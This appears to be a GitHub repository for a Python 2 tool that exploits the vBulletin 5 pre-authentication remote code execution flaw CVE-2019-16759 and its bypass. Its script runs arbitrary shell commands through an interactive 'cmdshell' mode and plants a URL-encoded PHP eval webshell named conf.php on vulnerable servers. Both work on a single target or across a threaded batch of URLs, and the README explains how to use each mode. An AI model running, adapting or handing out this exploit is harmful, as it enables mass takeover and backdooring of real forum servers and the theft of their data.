├── LICENSE ├── README.md ├── batch_result └── 20191002155708 │ └── success.txt ├── demo ├── vbulletin00.png ├── vbulletin01.png ├── vbulletin02.png ├── vbulletin03.png ├── vbulletin04.png ├── vbulletin05.png ├── vbulletin06.png ├── vbulletin07.png └── vbulletin08.png ├── urls.txt └── vbulletin5-rce.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 LSA 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # vbulletin5 rce漏洞检测工具 2 | 3 | 4 | 5 | # 0x00 概述 6 | 7 | 201909 vbulletion5(5.0.0-5.5.4)爆出rce漏洞(CVE-2019-16759),利用文件ajax/render/widget_php和post参数widgetConfig[code]可直接远程代码执行。 8 | 9 | 20200811,网上爆出CVE-2019-16759补丁可被绕过,利用ajax/render/widget_tabbedcontainer_tab_panel和构造post参数subWidgets[0][config][code]可直接远程代码执行。 10 | 11 | 本工具支持单url检测,cmdshell,get web shell(写入一句话木马),批量检测,批量getshell。 12 | 13 | 14 | 15 | ## 0x01 需求 16 | 17 | python2.7 18 | 19 | pip install requests 20 | 21 | 22 | 23 | ## 0x02 快速开始 24 | 25 | 使用帮助: python vbulletin5-rce.py -h 26 | 27 | 28 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin00.png) 29 | 30 | 31 | 单url漏洞检测: python vbulletin5-rce.py -u "http://www.xxx.com/" 32 | 33 | 34 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin01.png) 35 | 36 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin06.png) 37 | 38 | 39 | cmdshell: python vbulletin5-rce.py -u "http://www.xxx.com/" --cmdshell 40 | 41 | 42 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin02.png) 43 | 44 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin07.png) 45 | 46 | 单url getshell: python vbulletin5-rce.py -u "http://www.xxx.com/" --getshell 47 | 48 | 49 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin03.png) 50 | 51 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin08.png) 52 | 53 | 批量检测: python vbulletin5-rce.py -f urls.txt 54 | 55 | 56 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin04.png) 57 | 58 | 59 | 批量getshhell: python vbulletin5-rce.py -f urls.txt --getshell 60 | 61 | 62 | ![](https://github.com/theLSA/vbulletin5-rce/raw/master/demo/vbulletin05.png) 63 | 64 | 65 | 66 | ## 0x03 反馈 67 | 68 | [issus](https://github.com/theLSA/vbulletin5-rce/issues) 69 | 70 | gmail:[lsasguge196@gmail.com](mailto:lsasguge196@gmail.com) 71 | 72 | qq:[2894400469@qq.com](mailto:2894400469@qq.com) -------------------------------------------------------------------------------- /batch_result/20191002155708/success.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/batch_result/20191002155708/success.txt -------------------------------------------------------------------------------- /demo/vbulletin00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin00.png -------------------------------------------------------------------------------- /demo/vbulletin01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin01.png -------------------------------------------------------------------------------- /demo/vbulletin02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin02.png -------------------------------------------------------------------------------- /demo/vbulletin03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin03.png -------------------------------------------------------------------------------- /demo/vbulletin04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin04.png -------------------------------------------------------------------------------- /demo/vbulletin05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin05.png -------------------------------------------------------------------------------- /demo/vbulletin06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin06.png -------------------------------------------------------------------------------- /demo/vbulletin07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin07.png -------------------------------------------------------------------------------- /demo/vbulletin08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/demo/vbulletin08.png -------------------------------------------------------------------------------- /urls.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theLSA/vbulletin5-rce/0e5b03922e8ff1cade53713934dac3ad41a6ad04/urls.txt -------------------------------------------------------------------------------- /vbulletin5-rce.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | # Author:LSA 3 | # Description:vbulletin 5 rce CVE-2019-16759 and bypass(20200811updated) 4 | # Date:20190927 20200811 5 | 6 | 7 | import requests 8 | import sys 9 | import optparse 10 | import threading 11 | import datetime 12 | import os 13 | import Queue 14 | 15 | import urllib3 16 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 17 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 18 | 19 | reload(sys) 20 | sys.setdefaultencoding('utf-8') 21 | 22 | headers = { 23 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', 24 | } 25 | params = {"routestring":"ajax/render/widget_php"} 26 | 27 | params1 = {"subWidgets[0][template]":"widget_php"} 28 | 29 | lock = threading.Lock() 30 | 31 | q0 = Queue.Queue() 32 | threadList = [] 33 | #global succ 34 | succ = 0 35 | 36 | useBypassPOC = 0 37 | 38 | 39 | def checkVbulletin5Rce(tgtUrl,timeout): 40 | 41 | cmd = 'echo fe0a612646c36e7f89b5b81f8f141d3d' #md5(check-vbulletin5-rce) 42 | 43 | 44 | 45 | params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" 46 | 47 | rsp = requests.post(tgtUrl,headers=headers,verify=False, data=params,timeout=timeout) 48 | 49 | #print rsp.text.encode('utf-8') 50 | 51 | if rsp.status_code == 200 and ("fe0a612646c36e7f89b5b81f8f141d3d" in rsp.text.encode('utf-8')): 52 | 53 | return True 54 | #print 'Target is vulnerable!!!' + '\n' 55 | else: 56 | tgtUrl = tgtUrl + "/ajax/render/widget_tabbedcontainer_tab_panel" 57 | params1["subWidgets[0][config][code]"] = "echo shell_exec('"+cmd+"'); exit;" 58 | rsp2 = requests.post(tgtUrl,headers=headers,verify=False,data=params1,timeout=timeout) 59 | if rsp2.status_code == 200 and ("fe0a612646c36e7f89b5b81f8f141d3d" in rsp2.text.encode('utf-8')): 60 | print 'Bypassing CVE-2019-16759 successfully' 61 | global useBypassPOC 62 | useBypassPOC = 1 63 | #print useBypassPOC 64 | return True 65 | else: 66 | return False 67 | #print 'Target is not vulnerable.' + '\n' 68 | 69 | 70 | def checkVbulletin5RceBatch(timeout, f4success): 71 | 72 | urllib3.disable_warnings() 73 | cmd = 'echo fe0a612646c36e7f89b5b81f8f141d3d' # md5(check-vbulletin5-rce) 74 | params["widgetConfig[code]"] = "echo shell_exec('" + cmd + "'); exit;" 75 | params1["subWidgets[0][config][code]"] = "echo shell_exec('"+cmd+"'); exit;" 76 | 77 | global countLines 78 | global succ 79 | 80 | while (not q0.empty()): 81 | 82 | 83 | tgtUrl = q0.get() 84 | 85 | qcount = q0.qsize() 86 | print 'Checking: ' + tgtUrl + ' ---[' + str(countLines - qcount) + '/' + str(countLines) + ']' 87 | 88 | try: 89 | rst = requests.post(tgtUrl, headers=headers, data=params,timeout=timeout, verify=False) 90 | 91 | except requests.exceptions.Timeout: 92 | continue 93 | 94 | except requests.exceptions.ConnectionError: 95 | continue 96 | except: 97 | continue 98 | 99 | if rst.status_code == 200 and ("fe0a612646c36e7f89b5b81f8f141d3d" in rst.text.encode('utf-8')): 100 | print 'Target is vulnerable!!!--- ' + tgtUrl + '\n' 101 | lock.acquire() 102 | f4success.write('Target is vulnerable!!!---' + tgtUrl + '\n') 103 | lock.release() 104 | 105 | succ = succ + 1 106 | 107 | else: 108 | 109 | try: 110 | tgtUrl = tgtUrl + "/ajax/render/widget_tabbedcontainer_tab_panel" 111 | rst1 = requests.post(tgtUrl, headers=headers, data=params1,timeout=timeout, verify=False) 112 | 113 | except requests.exceptions.Timeout: 114 | continue 115 | 116 | except requests.exceptions.ConnectionError: 117 | continue 118 | except: 119 | continue 120 | 121 | if rst1.status_code == 200 and ("fe0a612646c36e7f89b5b81f8f141d3d" in rst1.text.encode('utf-8')): 122 | print 'Target is vulnerable!!!(Bypassing CVE-2019-16759)--- ' + tgtUrl + '\n' 123 | lock.acquire() 124 | f4success.write('Target is vulnerable!!!(Bypassing CVE-2019-16759)---' + tgtUrl + '\n') 125 | lock.release() 126 | #global succ 127 | succ = succ + 1 128 | else: 129 | continue 130 | 131 | 132 | 133 | def getCmdShellVbulletin5Rce(tgtUrl,timeout): 134 | 135 | #pass 136 | 137 | while True: 138 | 139 | cmd = raw_input("cmd>>> ") 140 | if cmd == 'exit': 141 | break 142 | 143 | params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" 144 | 145 | cmdResult = requests.post(tgtUrl,headers=headers,verify=False, data=params,timeout=timeout) 146 | print cmdResult.text.encode('utf-8') 147 | 148 | def getCmdShellVbulletin5RceBypass(tgtUrl,timeout): 149 | 150 | #pass 151 | #params1["subWidgets[0][config][code]"] = "echo shell_exec('"+cmd+"'); exit;" 152 | 153 | while True: 154 | 155 | cmd = raw_input("cmd>>> ") 156 | if cmd == 'exit': 157 | break 158 | 159 | params1["subWidgets[0][config][code]"] = "echo shell_exec('"+cmd+"'); exit;" 160 | 161 | cmdResult = requests.post(tgtUrl,headers=headers,verify=False, data=params1,timeout=timeout) 162 | print cmdResult.text.encode('utf-8') 163 | 164 | 165 | def vbulletin5RceGetshell(tgtUrl,timeout): 166 | 167 | getshellSuccess = 0 168 | 169 | exp = 'file_put_contents(\'conf.php\',urldecode(\'%3c%3fphp%20@eval(%24_%50%4f%53%54%5b%22x%22%5d)%3b%3f%3e\')); exit;' 170 | #cmd = 'echo ' 171 | #params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" 172 | params["widgetConfig[code]"] = exp 173 | 174 | rsp = requests.post(tgtUrl, headers=headers, verify=False, data=params, timeout=timeout) 175 | 176 | # print rsp.text.encode('utf-8') 177 | 178 | if rsp.status_code == 200: 179 | rsp1 = requests.get(tgtUrl+'/conf.php',verify=False,timeout=timeout) 180 | 181 | print rsp1.status_code 182 | print tgtUrl + '/conf.php' 183 | if rsp1.status_code == 200: 184 | getshellSuccess = 1 185 | print getshellSuccess 186 | print 'Getshell successed!!!Shell addr:' + tgtUrl + '/conf.php:x' 187 | 188 | else: 189 | print 'Getshell failed.' 190 | else: 191 | 192 | print 'rsp something error.' 193 | 194 | 195 | if getshellSuccess == 0: 196 | print 'Bypassing CVE-2019-16759......' 197 | vbulletin5RceGetshellBypass(tgtUrl,timeout) 198 | 199 | 200 | def vbulletin5RceGetshellBypass(tgtUrl,timeout): 201 | tgtUrl1 = tgtUrl + "/ajax/render/widget_tabbedcontainer_tab_panel" 202 | exp = 'file_put_contents(\'conf.php\',urldecode(\'%3c%3fphp%20@eval(%24_%50%4f%53%54%5b%22x%22%5d)%3b%3f%3e\')); exit;' 203 | 204 | params1["subWidgets[0][config][code]"] = exp 205 | rsp3 = requests.post(tgtUrl1, headers=headers, verify=False, data=params1, timeout=timeout) 206 | 207 | if rsp3.status_code == 200: 208 | rsp4 = requests.get(tgtUrl+'/conf.php',verify=False,timeout=timeout) 209 | 210 | print rsp4.status_code 211 | print tgtUrl + '/conf.php' 212 | if rsp4.status_code == 200: 213 | 214 | print 'Getshell successed!!!(Bypassing CVE-2019-16759)Shell addr:' + tgtUrl + '/conf.php:x' 215 | 216 | else: 217 | print 'Getshell failed(Bypassing CVE-2019-16759).' 218 | else: 219 | print 'rsp3 (Bypassing CVE-2019-16759) something error.' 220 | 221 | def vbulletin5RceGetshellBatch(timeout, f4success): 222 | urllib3.disable_warnings() 223 | 224 | exp = 'file_put_contents(\'conf.php\',urldecode(\'%3c%3fphp%20@eval(%24_%50%4f%53%54%5b%22x%22%5d)%3b%3f%3e\')); exit;' 225 | params["widgetConfig[code]"] = exp 226 | 227 | params1["subWidgets[0][config][code]"] = exp 228 | 229 | global countLines 230 | global succ 231 | 232 | while (not q0.empty()): 233 | 234 | tgtUrl = q0.get() 235 | 236 | qcount = q0.qsize() 237 | print 'Checking: ' + tgtUrl + ' ---[' + str(countLines - qcount) + '/' + str(countLines) + ']' 238 | 239 | try: 240 | rst = requests.post(tgtUrl, headers=headers, data=params, timeout=timeout, verify=False) 241 | 242 | except requests.exceptions.Timeout: 243 | continue 244 | 245 | except requests.exceptions.ConnectionError: 246 | continue 247 | except: 248 | continue 249 | 250 | if rst.status_code == 200: 251 | rsp1 = requests.get(tgtUrl+'/conf.php',verify=False,timeout=timeout) 252 | 253 | if rsp1.status_code == 200: 254 | print 'Getshell successed!!!Shell addr:' + tgtUrl + '/conf.php:x' + '\n' 255 | 256 | lock.acquire() 257 | f4success.write('Getshell successed!!!Shell addr:' + tgtUrl + '/conf.php:x' + '\n') 258 | lock.release() 259 | #global succ 260 | succ = succ + 1 261 | 262 | else: 263 | 264 | vbulletin5RceGetshellBatchBypass(tgtUrl,timeout,f4success) 265 | continue 266 | else: 267 | 268 | vbulletin5RceGetshellBatchBypass(tgtUrl,timeout,f4success) 269 | continue 270 | 271 | 272 | def vbulletin5RceGetshellBatchBypass(tgtUrl,timeout,f4success): 273 | 274 | 275 | urllib3.disable_warnings() 276 | 277 | exp = 'file_put_contents(\'conf.php\',urldecode(\'%3c%3fphp%20@eval(%24_%50%4f%53%54%5b%22x%22%5d)%3b%3f%3e\')); exit;' 278 | params1["subWidgets[0][config][code]"] = exp 279 | 280 | global countLines 281 | global succ 282 | 283 | 284 | try: 285 | tgtUrl1 = tgtUrl + "/ajax/render/widget_tabbedcontainer_tab_panel" 286 | rst2 = requests.post(tgtUrl1, headers=headers, data=params1, timeout=timeout, verify=False) 287 | except requests.exceptions.Timeout: 288 | return 289 | 290 | except requests.exceptions.ConnectionError: 291 | return 292 | except: 293 | return 294 | if rst2.status_code == 200: 295 | rsp5 = requests.get(tgtUrl+'/conf.php',verify=False,timeout=timeout) 296 | 297 | if rsp5.status_code == 200: 298 | print 'Getshell successed!!!Shell addr:' + tgtUrl + '/conf.php:x' + '\n' 299 | 300 | lock.acquire() 301 | f4success.write('Getshell successed!!!(Bypassing CVE-2019-16759)Shell addr:' + tgtUrl + '/conf.php:x' + '\n') 302 | lock.release() 303 | #global succ 304 | succ = succ + 1 305 | else: 306 | 307 | return 308 | else: 309 | return 310 | 311 | 312 | if __name__ == '__main__': 313 | print ''' 314 | ******************************** 315 | * vbulletin 5 pre auth rce * 316 | * Coded by LSA * 317 | ******************************** 318 | ''' 319 | 320 | parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0') 321 | 322 | parser.add_option('-u', dest='tgtUrl', type='string', help='single url') 323 | 324 | parser.add_option('-f', dest='tgtUrlsPath', type='string', help='urls filepath[exploit default]') 325 | 326 | parser.add_option('-s', dest='timeout', type='int', default=20, help='timeout(seconds)') 327 | 328 | parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads') 329 | 330 | # parser.add_option('--check', dest='check',action='store_true', help='check url but not exploit[default]') 331 | 332 | parser.add_option('--getshell', dest='getshell',action='store_true', help='get webshell') 333 | 334 | parser.add_option('--cmdshell', dest='cmdshell',action='store_true', help='cmd shell mode') 335 | 336 | (options, args) = parser.parse_args() 337 | 338 | # check = options.check 339 | 340 | getshell = options.getshell 341 | 342 | cmdshell = options.cmdshell 343 | 344 | timeout = options.timeout 345 | 346 | tgtUrl = options.tgtUrl 347 | 348 | global countLines 349 | 350 | countLines = 0 351 | 352 | if tgtUrl and (cmdshell is None) and (getshell is None): 353 | if(checkVbulletin5Rce(tgtUrl,timeout)): 354 | print 'Target is vulnerable!!!' + '\n' 355 | else: 356 | print 'Target is not vulnerable.' + '\n' 357 | 358 | if tgtUrl and cmdshell and (getshell is None): 359 | if (checkVbulletin5Rce(tgtUrl,timeout)): 360 | print 'Target is vulnerable!!! Entering cmdshell...' + '\n' 361 | else: 362 | print 'Target is not vulnerable.' + '\n' 363 | sys.exit() 364 | 365 | #print useBypassPOC 366 | if useBypassPOC == 0: 367 | getCmdShellVbulletin5Rce(tgtUrl,timeout) 368 | else: 369 | tgtUrl = tgtUrl + "/ajax/render/widget_tabbedcontainer_tab_panel" 370 | getCmdShellVbulletin5RceBypass(tgtUrl,timeout) 371 | 372 | 373 | 374 | if tgtUrl and (cmdshell is None) and getshell: 375 | 376 | vbulletin5RceGetshell(tgtUrl,timeout) 377 | 378 | 379 | 380 | 381 | if options.tgtUrlsPath and (getshell is None): 382 | tgtFilePath = options.tgtUrlsPath 383 | threads = options.threads 384 | nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S') 385 | os.mkdir('batch_result/' + str(nowtime)) 386 | f4success = open('batch_result/' + str(nowtime) + '/' + 'success.txt', 'w') 387 | # f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w') 388 | urlsFile = open(tgtFilePath) 389 | 390 | countLines = len(open(tgtFilePath, 'rU').readlines()) 391 | 392 | print '===Total ' + str(countLines) + ' urls===' 393 | 394 | for urls in urlsFile: 395 | fullUrls = urls.strip() 396 | q0.put(fullUrls) 397 | for thread in range(threads): 398 | t = threading.Thread(target=checkVbulletin5RceBatch, args=(timeout, f4success)) 399 | t.start() 400 | threadList.append(t) 401 | for th in threadList: 402 | th.join() 403 | 404 | print '\n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']###' 405 | print 'Results were saved in ./batch_result/' + str(nowtime) + '/' 406 | f4success.close() 407 | # f4fail.close() 408 | 409 | 410 | if options.tgtUrlsPath and getshell: 411 | tgtFilePath = options.tgtUrlsPath 412 | threads = options.threads 413 | nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S') 414 | os.mkdir('batch_result/' + str(nowtime)) 415 | f4success = open('batch_result/' + str(nowtime) + '/' + 'success.txt', 'w') 416 | # f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w') 417 | urlsFile = open(tgtFilePath) 418 | 419 | countLines = len(open(tgtFilePath, 'rU').readlines()) 420 | 421 | print '===Total ' + str(countLines) + ' urls===' 422 | 423 | for urls in urlsFile: 424 | fullUrls = urls.strip() 425 | q0.put(fullUrls) 426 | for thread in range(threads): 427 | t = threading.Thread(target=vbulletin5RceGetshellBatch, args=(timeout, f4success)) 428 | t.start() 429 | threadList.append(t) 430 | for th in threadList: 431 | th.join() 432 | 433 | print '\n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']###' 434 | print 'Results were saved in ./batch_result/' + str(nowtime) + '/' 435 | f4success.close() 436 | # f4fail.close() 437 | 438 | 439 | 440 | --------------------------------------------------------------------------------